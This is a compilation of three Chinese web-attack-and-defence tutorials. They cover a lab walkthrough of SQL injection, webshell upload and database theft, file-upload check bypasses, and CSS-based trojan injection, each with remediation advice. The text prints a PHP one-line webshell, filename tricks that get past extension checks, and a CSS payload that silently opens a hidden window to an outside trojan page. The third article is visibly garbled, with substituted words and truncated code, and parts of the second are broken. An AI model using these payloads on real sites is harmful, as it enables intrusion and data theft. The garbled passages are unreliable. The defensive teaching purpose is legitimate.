Web攻防系列教程之 企业网站攻防实战
摘要:本文通过搭建一个真实的企业网站环境,先以攻击者的角度对目标网站进行入侵,最终得到目标
网站数据库中的数据。然后对整个入侵过程进行详细分析,并修复目标网站存在的安全漏洞和弱点。这
样通过对一个实例的完整分析,让读者对攻击者入侵网站的过程、以及网站安全加固都有一个直观的认
识,当遭到黑客入侵时,不再感到无从下手。
随着B/S架构技术的高速发展和快速应用,现在几乎所有的企业、政府单位都拥有了自己的网站。对外有
自己的企业门户网站,对内有OA、ERP、CRM等基于B/S架构的Web应用。与此同时,攻击者也把目光转向
了这块,现在每天都有大量的网站因为存在各种安全漏洞被入侵。轻则网站页面被篡改,重则机密数据
被窃取,甚至整台服务器沦陷。一旦遇到这样的事件,不仅会对企业形象造成非常巨大的负面影响,也
会带来实际损失,有时这种危害甚至是灾难性的。作为一名网站管理人员,非常有必要对这块给予足够
的重视。
本文用到的技术和相关工具
技术:SQL注入、文件上传检测绕过、后门木马
工具:Havij(一款SQL注入漏洞扫描和利用工具)、PhpSpy2008后门木马、中国菜刀一句话木马
入侵网站的典型步骤
一个技术比较成熟的攻击者在入侵一个目标网站时,一般会经历以下三个阶段:
一、信息收集
这一阶段的目的就是通过技术或社会工程学手段去收集目标的各种信息,比如操作系统类型、网站脚本
类型、目标网站采用的数据库类型等。这个阶段收集到的信息越全面、越详细,对下一阶段实施入侵的
帮助越大。一个成熟的攻击者在实施入侵前会花大量时间去收集目标网站的各种信息,在实施入侵时直
取目标网站的“命门”,决不拖泥带水,争取一击致命。这一点也是一个成熟的攻击者与刚入门的攻击
者之间的区别。
二、实施入侵
这一阶段中,攻击者会对信息收集阶段得到的信息进行分析、汇总,决定采用哪种方法对目标实施入侵
,然后利用目标存在的安全漏洞和弱点对其实施入侵。在这一阶段,攻击者通常会得到一个权限相对比
较低的Webshell。
三、提权和善后处理
如果在上一阶段攻击者直接得到了一个高权限的Webshell,那么他一般会添加一个后门,方便以后对目
标进行控制,最后还会清除入侵痕迹。但更多情况下,攻击者会得到一个权限相对较低的Webshell,这
时就需要做提权操作,来获取到系统的管理员权限。因为篇幅的限制,这里不对提权和清除入侵痕迹做
介绍,在以后的文章中会有详细的介绍。
入侵网站全过程
通过上面的介绍,相信读者对攻击者入侵网站的过程和主要步骤都有了一个简单的认识。那么,下面我
们就通过一个实例来更深入、直观的了解这个过程。
目标网站:http://192.168.30.128
入侵目标:得到目标网站数据库中的数据,并下载回本地。
步骤一 信息收集
首先,我们先来看下目标网站,界面如图1:
图1
通过网站页面,我们发现目标网站是用PHP脚本语言开发的。我们继续查看其他页面,当我们点击“在线
留言“的链接时,会出现一个如图2所示的页面:
图2
我们来看下它的URL,http://192.168.30.128/leave_show.php?Id=41,这是一个典型的PHP动态页面。
看到这个URL是不是很容易想到SQL注入?下面我们就通过手工的方式来探测下该页面是否存在SQL注入漏
洞吧!
1. 首先,我们先在上面的URL后面添加一个单引号,看返回的页面是否正常。结果发现返回页面异常,
提示“不好意思,操作失败了”。
图3
2. 接着我们在URL后面添加“+and+1=1”,发现返回的页面和正常页面相同。
图4
3. 最后我们在URL后面添加“+and+1=2”,发现返回的页面和正常页面不同。
图5
OK,通过上面三步我们可以确定此页面存在SQL注入漏洞。
步骤二 实施入侵
通过上一阶段得到的信息,我们确定目标网站存在SQL注入漏洞,下面利用SQL注入漏洞来得到我们感兴
趣的内容。
为了方便,此处直接用SQL注入漏洞利用工具来得到目标网站的相关信息。如果读者对SQL注入漏洞的原
理和详细手工利用过程感兴趣的话,可以查看之前的拙作
http://www.rising.com.cn/newsletter/news/2012-05-24/11580.html,里面有详细的介绍和相关实例
。
这里我们使用Havij(业界非常著名的一款SQL注入漏洞扫描和利用工具)。首先打开Havij,在“target
”处输入存在SQL漏洞的URL,其他选项使用默认配置即可,完成后点击“Analyze”按钮,软件开始运行
,如图6所示:
图6
很快,Havij就返回了结果,我们得到了目标网站数据库和其他一些信息,在图7中我们得到了目标网站
后台的管理员账号和密码。
图7
密码是用MD5加密过的,解密后得到的明文是“654321”。
图8
现在我们得到了目标网站后台的管理员账号和明文密码,只要找到网站的后台地址,就可以登录进入网
站后台了。下面我们来找一下网站的后台地址吧,还是用Havij来完成,如图9所示。
图9
好,现在我们来访问一下图9得到的网站后台地址,后台界面如图10。
图10
输入前面我们得到管理员账号和密码,成功进入网站后台,如图11。
图11
通过浏览后台页面,我们发现该网站在“友情链接”处有一个上面图片的功能。我们先来尝试下能否直
接上传一个PHP的木马,结果发现上传失败,只允许上传jpg和gif格式的文件。如下图12。
图12
上面返回的错误信息是我们意料之中的,现在很少有网站可以直接上传PHP木马。那么,我们就没办法了
吗?当然不是的,下面我们就来尝试如何绕过文件上传检测。
1.我们来新建一个txt文档,输入以下内容:“<?Php @eval($_POST['1']);?>”,这是一个一句话木马
,然后将这个txt文档改名为“test.php.jpg”,如图13。
图13
2.再次上传,发现成功了(如图14)。由此可以判断,后台上传逻辑只是简单的对文件扩展名做了检测
,所容易就被我们绕过了。这里之所以能成功是因为在网站中对文件扩展名检测时,是从后往前检测的
,当遇到第一个“.”时,便结束检测。当我们上传的文件名为类似“test.php.jpg”这种格式时,系统
会认为这是一个合法的JPG文件,从而绕过了文件上传检测。
图14
我们来看下文件上传后保存的路径(如图15)。
图15
现在我们用一句话木马客户端来连接一下刚刚上传的一句话木马,先打开“中国菜刀”一句话木马客户
端,输入一句话木马的地址http://192.168.30.128/link/test.php.jpg和密码,最后选择“添加”,如
图16。
图16
接着,我们上传一个PHP的大马上去。名字为webshell.php,如下图17。
图17
现在来访问下刚刚上传的PHP大马,地址为http://192.168.30.128/link/webshell.php,如图18。
图18
在PHP中,一般会有一个数据库连接文件,里面包含网站连接数据库的账号和密码。我们通过查看数据库
连接文件,得到了Mysql数据库的账号和密码,如图19。
图19
OK,现在我们把目标网站的数据库下载回本地,我们利用PHP大马来完成这个操作。
1.我们先备份一下目标网站的数据库,找到“MYSQL Manager”项,输入Mysql的账号和密码,然后选择
要备份的数据库,最后点击“Connect”,提示备份成功,并给出了备份文件保存的路径和文件名,如图
20。
图20
2.跳转到备份文件保存的目录下,把备份文件下载回本地,如图21。
图21
3.现在把下载的备份文件导入我们本地的数据库,到此就成功得到了目标网站数据库中的数据,如图22
。
图22
如何保护我们的网站
上面我们通过一个实例来详细地演示了入侵网站的全过程,但我们的目的并不是为了去入侵别人的网站
,而是为了更好地保护我们自己的网站免遭入侵。我们还是以上面的网站为例,来看下如何修复该网站
存在的安全漏洞和弱点。
在上面的实例中,我们先是利用目标网站的SQL注入漏洞得到了后台的管理员账号和密码,接着通过扫描
发现了网站后台地址。然后我们登录进入后台管理页面,利用系统文件上传功能存在的弱点,成功上传
了一个一句话木马,得到了目标网站的Webshell,最后将目标网站的数据库下载回本地,达到了我们最
初定的目标。
那么在分析完整个入侵过程后,我们来看下如何修复这些安全漏洞和弱点吧。
1.修复SQL注入漏洞
先来看下存在SQL注入漏洞处的代码:
-------------------------------------------------------------------------------------------
$id=$_GET[id]; //得到从URL传过来的参数
$rs=mysql_query("select * from leave_table where id=$id") or die("不好意思,操作失败!");
$array=mysql_fetch_array($rs);
-------------------------------------------------------------------------------------------
从上面的代码中可以看到,系统在得到URL传过来的参数后,没有做任何处理,直接带入数据库查询语句
中执行查询,这是一个典型的SQL注入漏洞。
下面我们以一个简单的方法来修复这一漏洞。通过上面的代码我们得知,“id”是一个整型的参数,所
以我们为了避免SQL注入漏洞的产生,直接将通过GET方式得到“id”参数值转换为整型,这样攻击者构
造的注入代码便无法执行,从根本上避免了SQL注入。而且只需简单修改一下代码就可以实现,非常实用
,具体如下。
-------------------------------------------------------------------------------------------
$id=(int)$_GET[id]; //修改后的代码
$rs=mysql_query("select * from leave_table where id=$id") or die("不好意思,操作失败!");
$array=mysql_fetch_array($rs);
-------------------------------------------------------------------------------------------
现在我们再来看下修改后的代码是否存在SQL注入漏洞。先在URL后面添加一个单引号,发现现在不能触
发异常了,返回的依然是正常页面,如图23。
图23
我们再用工具试一下,结果也是一样,漏洞就这样简单地修复了。
2.修复文件上传检测存在弱点
我们还是先来看下这部分的代码:
-------------------------------------------------------------------------------------------
include '../conn.php';
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
if($name <>"")
{
$name1=substr($name,-4); //得到上传文件的扩展名
//下面判断得到上传文件扩展名是否合法
if(($name1 <> ".gif") and ($name1 <> ".jpg"))
{
echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)
</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$rootpath='../../link/'.$name; //上传文件保存路径和文件名
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移动失
败!');window.location='add_link.php'</script>";
exit;
}
}
}
global $pic;
$pic=$rootpath;
//
$title = $_POST["title"];
$url = $_POST["url"];
$lx = $_POST["lx"];
$px = $_POST["px"];
$adddate = date('Y-m-d H:i:s'); //echo $addtime = date('Y-m-d H:i:s');
if (mysql_query("insert into link
(link_title,link_url,link_pic,link_lx,link_adddate,link_px)values
('$title','$url','$pic','$lx','$adddate','$px')"))
{
echo "<script>alert('友情链接信息添加成功!');location.href='add_link.php';</script>";
}
else{
echo "<script>alert('友情链接添加失败!');history.go(-1)</script>";
}
-------------------------------------------------------------------------------------------
从上面的代码中我们可以看到,系统只对上传文件的护展名做了简单的检测,下面我们来修复这段代码
存在的漏洞。
我们可以对上传后的文件改名,一般采用的方式是基于当前系统时间去生成新的文件名,在这里只需要
修改一句代码即可完成。修改后的代码如下:
$rootpath='../../link/'.time().$name1;
这样一来,再上传类似test.php.jpg这样格式的文件时,因为文件名会被修改成类似1346834131.jpg这
种格式,所以会造成无法解析。
上面是从代码层来解决问题,还可以在服务器上做相应配置,来阻止这样的漏洞被成功利用。我们只需
要把保存上传文件目录的“执行”权限去掉即可完全阻止这样的漏洞被成功利用。而且该目录根本没必
要分配执行脚本的权限。在分配目录权限时有一个原则——“目录有写入权限,一定不要分配执行权限;
目录有执行权限,一定不要分配写入权限。
做到了这一点,即使攻击者成功上传了后门木马,也会因为没有执行权限而无法解析,去掉保存上传文
件目录的“执行”权限的方式如图24所示。
图24
修改权限后,我们上传的后门木马因为权限不足而无法正常解析,如图25。
图25
3.其他方面安全加固
设置一个复杂的管理员账号和密码,并修改默认的网站管理后台地址。在PHP中,建议用一个低权限账号
来连接数据库,一定不要用root权限连接,这是非常危险的。如果一台服务器有多个网站,建议为每个
网站分配单独的数据库连接账号,并设置一个复杂的密码。
========
Web攻防系列教程之 文件上传攻防解析
文件上传是WEB应用很常见的一种功能,本身是一项正常的业务需求,不存在什么问题。但如果在上传时
没有对文件进行正确处理,则很可能会发生安全问题。本文将对文件上传的检测方式以及如何绕过相应
检测方式进行详细的分析,并提供针了对文件上传攻击的安全防护方法。
文件上传攻击是指攻击者利用WEB应用对上传文件过滤不严,导致可以上传应用程序定义类型范围之外的
文件到Web服务器。比如可以上传一个网页木马,如果存放上传文件的目录刚好有执行脚本的权限,那么
攻击者就可以直接得到一个WebShell。
文件上传攻击的原理
由于服务器端没有对用户上传的文件进行正确的处理,导致攻击者可以向某个可通过 Web 访问的目录上
传恶意文件,并且该文件可以被Web服务器解析执行。
攻击者要想成功实施文件上传攻击,必须要满足以下三个条件:
1.可以上传任意脚本文件,且上传的文件能够被Web服务器解析执行,具体来说就是存放上传文件的目录
要有执行脚本的权限。
2.用户能够通过Web访问这个文件。如果文件上传后,不能通过Web访问,那么也不能成功实施攻击。
3.要知道文件上传到服务器后的存放路径和文件名称,因为许多Web应用都会修改上传文件的文件名称,
那么这时就需要结合其他漏洞去获取到这些信息。如果不知道上传文件的存放路径和文件名称,即使你
上传了也无法访问。
主流文件上传检测方式概述
主流的文件上传检测方式有以下五种:
1.客户端javascript检测
客户端检测通常在上传页面里含有专门检测文件上传的javascript代码,在文件被上传之前进行检测,
最常见的就是检测上传文件的文件类型和大小是否合法。
2.服务端MIME类型检测
这类检测方法通过检查http包的Content-Type字段中的值来判断上传文件是否合法。
3.服务端文件扩展名检测
这类检测方法通过在服务端检测上传文件的扩展名来判断文件是否合法。
4.服务端目录路径检测
这类检测一般通过检测路径是否合法来判断。
5.服务端文件内容检测
这 类检测方法相当对上面四种检测方法来说是最为严格的一种。它通过检测文件内容来判断上传文件是
否合法。这里,对文件内容的检测主要有两种方法。A.通过检 测上传文件的文件头来判断。通常情况下
,通过判断前10个字节,基本就能判断出一个文件的真实类型。B.文件加载检测,一般是调用API或函数
对文件进行 加载测试。常见的是图像渲染测试,再严格点的甚至是进行二次渲染。
如何绕过文件上传检测
上面我们分析了主流的文件上传检测方式,下面我们就来看下如何绕过上面提到的文件上传检测方式,
本文只讨论如何绕过前三种检测方式。
1.绕过客户端javascript检测
这 种检测方法是最不安全的,也是最容易被攻击者绕过的。Web应用不应只采用这一种手段检测上传文
件,但可以作为一种辅助手段。因为采用客户端 javascript检测可以增强应用对用户的友好度。由于
javascript检测是在客户端实现的,所以我们完全能够控制它。可以在浏览器端禁用js 脚本,比如在
FireFox上安装FireBug这一插件就可以实现这一功能。另外一种是通过代理工具来实现,下面介绍利用
Burp Suite来绕过客户端javascript检测。Burp Suite不仅仅只是一个代理工具,更是一款强大的网络
渗透利器。关于Burp Suite的详细资料请自行百度。
这个站点http://www.target.com(注:由于该网站为真实站点,为了目标网站的安全,所以用target来
代替真实域名)的文件上传功能只采用了客户端javascript检测,所以很容易被绕过。下面我们来具体
看下操作方法。
首先,我们看一下正常情况下上传一个.asp文件,应用会有什么反应。
a. 我们访问这个URL(http://www.target.com/AdvHTML_Popups/upload.asp),会出现一个上传文件的
页面
b. 我们先选择一个.asp文件,这时会提示不允许上传这种类型的文件。注意,这时我们还没有点击“件
,这时会提示按钮,就出现提示信息。我们可以判断出这个网站是在客户端判断上传文件类型的合法性
的。如图1:
图1
上面的情况证明在正常情况下是不能成功上传.asp文件的,那么下面就来看下如何绕过这种检测吧。
c. 我们先打开Burp Suite代理工具,然后配置浏览器使用代理。如图2:
图2
d. 我 们先把刚才的那个.asp文件扩展名改为.gif,然后点击“然后点击“为那按钮。这时Burp Suite
中就会拦截到浏览器提交的HTTP数据包。我们把filename字段的值webshell.gif修改为webshell.asp,
再点击 “再点击“ell”按钮,会发现文件成功上传到服务器。如图3:
图3
2.绕过服务端MIME类型检测
服 务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的。我们来
访问 http://193.168.20.235/upload.html,这是一个上传页面,当你选择上传文件,点击“上传”按
钮后,会跳转到 uploadf.php中进行处理。先来看下uploadf.php的代码,如图4:
图4
那么我们如何绕过这种检测方式呢?下面来看具体操作,还是用Burp Suite来完成。
我 准备上传webshell.php到服务器,这是个一句话木马。选择好文件,然后点击“上传”,这时Burp
Suite拦截到发往服务器的HTTP请求,我们在Burp Suite修改HTTP数据包中的内容,然后点击“据包中的
内容,然按钮把数据包再转发给服务器。如图5:
图5
这时会提示文件成功上传,还会显示文件保存路径,说明我们成功绕过了服务端的MIME文件类型检测,
如图6。
图6
现在我们用中国菜刀连接一下,可以成功访问到,效果如图7:
图7
3.绕过服务端文件扩展名检测
现在我们来看下如何绕过服务端文件扩展名检测,先来看下这两段代码,如图8:
图8
上面的代码是一个上传表单,在选择上传文件,点击“上传”按钮后会跳转到uploadfiles.asp中进行处
理。我们来看下uploadfiles.asp文件中检测上传文件扩展名的代码,如图9:
图9
上面代码的意思是先得到上传文件的扩展名,然后和允许上传的文件类型对比,如果不符合定义,则提
示“上传的文件格式不对!”。
下面具体看下如何绕过这种检测方式,我们先直接上传一个.asp的木马,会提示上传文件格式不对,这
和我们预期的结果一致,如图10:
图10
现在我们将webshell.asp改为webshell.asp;test.jpg,再次上传,会发现我们的webshell被成功上传到
服务器上,如图11。
图11
现在我们来访问下,地址为http://192.168.1.105/bookpic/webshell.asp;test.jpg,可以正常访问,
如图12。
图12
注:这里利用了IIS的解析漏洞,当文件名为1.asp;1.jpg时,IIS会将此文件解析为1.asp,文件名被截
断,导致脚本被执行。而且存放上传文件的目录要有执行脚本的权限,否则不能执行成功。
设计安全的文件上传功能
上面我们介绍了主流的文件上传检测以及绕过检测的方式,那么如何设计出一个安全的文件上传功能呢
?下面我们就来总结一下。
1.设置保存上传文件的目录为不可执行
只要Web服务器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,此
点至关重要。
2.判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈建议采用白名
单的方式。此外,对于图片的处理可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可
能包含的恶意代码。
3.使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问
。如果采用随机数改写了文件名和路径,将极大地增加攻击成本。与此同时,像webshell.asp;1.jpg这
种文件,将因为文件名被改写而无法成功实施攻击。
========
网站制作CSS挂马攻防实录
在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的躲藏,倒不如说是无可奈
何的一个选择。在简朴的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取
了复杂的伪装,也很轻易被识破,还不如E来得直接和有效。但如今交互式的Web2.0网站越来越多,答应
用户设置与修改的博客、SNS社区等纷纷泛起。这些互动性非常强的社区和博客中,往往会提供丰硕的功
能,并且会答应用户使用CSS层叠样式表来对网站制作进行自由的修改,这促使了CSS挂马流行。
攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写
入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。
方式1:
Body
“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式
,这段恶意代码主要是通过“background-image”配合t代码让网页木马静静地在用户的电脑中运行。
那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将天生好的网页木马放到自己指定的位
置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。
方式2:
Body
background-image: url(t:open(“http://www.X.com/muma.htm”,”newwindow”,”border=
”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,
resizable=no,location=no,status=no”))
方式1的CSS挂马技术,在运行时会泛起空缺的页面,影响网页访问者正常的访问,因此比较轻易发
现。不外在方式2中的这段代码,使用了t的Open开窗,通过新开一个躲藏的窗口,在后台静静地运行新
窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。
防网络服务器被挂马,通常会泛起防病毒软件告警之类的信息。因为漏洞不断更新,挂马种类时刻
都在变换,通过客户真个反映来发现服务器是否被挂马往往疏漏较大。准确的做法是常常检查服务器日
志,发现异常信息,常常检查网站代码,使用网页木马检测系统,进行排查。
目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。
不外假如你选择过滤CSS的话,首先需要注意自己的相关网页是否有CSS的内容,因此我们仍旧首推用阻
断方式来防范CSS。阻断代码如下所示:
emiao1:expression(this.src=”about:blank”,this.outerHTML=”");
将外域的木马代码的src重写本钱地IE404错误页面的地址,这样,外域的t代码不会被下载。
========